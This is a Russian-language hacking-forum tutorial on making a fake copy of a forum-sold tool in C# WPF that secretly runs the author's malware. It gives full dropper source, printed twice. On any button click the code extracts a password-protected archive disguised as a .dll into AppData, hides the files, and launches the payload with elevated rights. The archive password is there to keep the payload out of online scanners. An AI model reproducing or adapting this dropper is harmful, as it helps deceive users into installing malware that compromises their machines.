Научу вас создавать фейковые программы которые скрыто запускают ваш .exe файл. C помощью c# WPF.
Для этого нам понадобится:
Visual Studio 2019, и обычный архиватор.
Перейду сразу к созданию фейкового софта. На примере буду копировать RIOT ***** который продаётся у нас на форуме, дизайн лёгкий и поэтому создать копию будет не сложно. И так приступим. Создаём новый проект: Приложение WPF (.Net Framework)
Даём имя, платформу выбираем .Net Framework 4.5, и нажимаем создать.
Перед нами открылся проект, первым делом нам нужно поменять размер нашего приложения, тут меняем на нужные значения. В моём случае
Дальше меняем фон, добавляем кнопки Далее добавляем два CheckBox/RadioButton/Label Уже начинает быть похоже на саму программу, не идеал но сойдёт.
Добавляем ещё несколько Label переименовываем Почти все готово, нажимаем сборка, собрать решение и смотрим что получилось. У меня вышло такое. Я конечно не дизайнер, но и так сойдёт... Теперь нам нужно что-бы при нажатии любой кнопки в этой софте, скрыто открывался наш файлик. Для этого переходим сюда Первым делом нужно добавить дополнительные библиотеки, нажимаем правой кнопкой на наш проект и жмём Управление пакетами Nugat Открывается такое окно, в поиске пишем SharpZipLib после его установки, устанавливаем Costura.Fody версии 4,1 Далее подготавливаем наш .exe файлик. На примере буду использовать установщик 7zip. Переименовываем наш файл на нужно название я назвал его chiken.exe. Далее добавляем наш файл в архив и с другим типом файла. И обязательно пароль, запоминаем. Я поставил 1234. Получилось вот так. В этом архиве находиться наш файлик, и его не смогут слить на вт, так как он под паролем. Возвращаемся в VS.Нужно присвоить каждой кнопке click. Нажимаем на кнопку нам покажет код.
. И для каждой кнопки ставить разный Click_Button1 2 3 и так далее.
Переходим после в MainWindow.xaml.cs. И вставляем данный код. Там где exe файл меняем на ваш. там где dll файл меняем на ваш. Комменты везде стоят что нужно где сделать.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using ICSharpCode.SharpZipLib.Core;
using ICSharpCode.SharpZipLib.Zip;
using System.Diagnostics;
using System.IO;
using System.Threading;
namespace Riot_Brute1 //название вашего проэкта поменяйте на своё.
{
/// <summary>
/// Логика взаимодействия для MainWindow.xaml
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
}
private void Click_Button(object sender, EventArgs e) //click_button наша кнопка, которую вы указывали в click
{
string dir = Environment.GetEnvironmentVariable("AppData") + "\\Update"; //Путь куда будет распаковываться архив + создание папки. Можете менять на своё.а
if (!Directory.Exists(dir))
File.SetAttributes("chiken.dll", FileAttributes.Hidden | FileAttributes.System);
string password = Encoding.ASCII.GetString(Convert.FromBase64String("MTIzNA==")); //Там где MTIzNA== это наш пароль от архива в Base64, http://base64.ru/ заходим сюда и щифруем пароль который ставили на архив.
ExtractZipFile("chiken.dll", password, dir + "\\"); //Распакуем архив
File.Delete("chiken.dll"); //Удаление архва если нужно. Если нет убирете
new Thread(() =>
{
try
{
File.SetAttributes(dir + "\\chiken.exe", FileAttributes.Hidden | FileAttributes.System);
ProcessStartInfo info = new ProcessStartInfo(dir + "\\chiken.exe");
info.UseShellExecute = true;
info.Verb = "runas";
Process.Start(info);
// эти две строки на ваше усмотрение
//proc.WaitForExit(); //Ждем завершения работы малвари
//File.Delete(dir + "\\update.exe"); //Удаляем exe малвари
}
catch (Exception)
{
}
}).Start();
}
private static void ExtractZipFile(string archiveFilenameIn, string password, string outFolder)
{
{
ZipFile zf = null;
try
{
FileStream fs = File.OpenRead(archiveFilenameIn);
zf = new ZipFile(fs);
if (!String.IsNullOrEmpty(password))
{
zf.Password = password;
}
foreach (ZipEntry zipEntry in zf)
{
if (!zipEntry.IsFile)
{
continue;
}
String entryFileName = zipEntry.Name;
byte[] buffer = new byte[4096];
Stream zipStream = zf.GetInputStream(zipEntry);
String fullZipToPath = System.IO.Path.Combine(outFolder, entryFileName);
string directoryName = System.IO.Path.GetDirectoryName(fullZipToPath);
if (directoryName.Length > 0)
Directory.CreateDirectory(directoryName);
using (FileStream streamWriter = File.Create(fullZipToPath))
{
StreamUtils.Copy(zipStream, streamWriter, buffer);
}
}
}
catch (Exception ex)
{
throw ex;
}
finally
{
if (zf != null)
{
zf.IsStreamOwner = true;
zf.Close();
}
}
}
}
private void Click_Button1(object sender, EventArgs e)
{
}
private void Click_Button2(object sender, EventArgs e)
{
}
private void Click_Button3(object sender, EventArgs e)
{
}
private void Click_Button4(object sender, EventArgs e)
{
}
}
}
Код
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using ICSharpCode.SharpZipLib.Core;
using ICSharpCode.SharpZipLib.Zip;
using System.Diagnostics;
using System.IO;
using System.Threading;
namespace Riot_Brute1 //название вашего проэкта поменяйте на своё.
{
/// <summary>
/// Логика взаимодействия для MainWindow.xaml
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
}
private void Click_Button(object sender, EventArgs e) //click_button наша кнопка, которую вы указывали в click
{
string dir = Environment.GetEnvironmentVariable("AppData") + "\\Update"; //Путь куда будет распаковываться архив + создание папки. Можете менять на своё.а
if (!Directory.Exists(dir))
File.SetAttributes("chiken.dll", FileAttributes.Hidden | FileAttributes.System);
string password = Encoding.ASCII.GetString(Convert.FromBase64String("MTIzNA==")); //Там где MTIzNA== это наш пароль от архива в Base64, http://base64.ru/ заходим сюда и щифруем пароль который ставили на архив.
ExtractZipFile("chiken.dll", password, dir + "\\"); //Распакуем архив
File.Delete("chiken.dll"); //Удаление архва если нужно. Если нет убирете
new Thread(() =>
{
try
{
File.SetAttributes(dir + "\\chiken.exe", FileAttributes.Hidden | FileAttributes.System);
ProcessStartInfo info = new ProcessStartInfo(dir + "\\chiken.exe");
info.UseShellExecute = true;
info.Verb = "runas";
Process.Start(info);
// эти две строки на ваше усмотрение
//proc.WaitForExit(); //Ждем завершения работы малвари
//File.Delete(dir + "\\update.exe"); //Удаляем exe малвари
}
catch (Exception)
{
}
}).Start();
}
private static void ExtractZipFile(string archiveFilenameIn, string password, string outFolder)
{
{
ZipFile zf = null;
try
{
FileStream fs = File.OpenRead(archiveFilenameIn);
zf = new ZipFile(fs);
if (!String.IsNullOrEmpty(password))
{
zf.Password = password;
}
foreach (ZipEntry zipEntry in zf)
{
if (!zipEntry.IsFile)
{
continue;
}
String entryFileName = zipEntry.Name;
byte[] buffer = new byte[4096];
Stream zipStream = zf.GetInputStream(zipEntry);
String fullZipToPath = System.IO.Path.Combine(outFolder, entryFileName);
string directoryName = System.IO.Path.GetDirectoryName(fullZipToPath);
if (directoryName.Length > 0)
Directory.CreateDirectory(directoryName);
using (FileStream streamWriter = File.Create(fullZipToPath))
{
StreamUtils.Copy(zipStream, streamWriter, buffer);
}
}
}
catch (Exception ex)
{
throw ex;
}
finally
{
if (zf != null)
{
zf.IsStreamOwner = true;
zf.Close();
}
}
}
}
private void Click_Button1(object sender, EventArgs e)
{
}
private void Click_Button2(object sender, EventArgs e)
{
}
private void Click_Button3(object sender, EventArgs e)
{
}
private void Click_Button4(object sender, EventArgs e)
{
}
}
}
Нажимаем сборка, собрать решение.
Если всё сделали правильно, то при нажатии на кнопку, архив разархивируется скроется, скрыто запустит ваш малварь. Обязательно ваш архив должен быть рядом с созданным вами софтом в одном папке.
![]()
Запускаем наш Riot *****1. При нажатии Добавить ******, dll удаляется/ либо скрывается. и запускается наш exe.
![]()
И вот детект нашего "софтика"
![]()
Надеюсь помог данной статьёй. Задавайте вопросы помогу вам.
И сам сурс код, можете запустить посмотреть. Скачать (мега)
Загрузка...
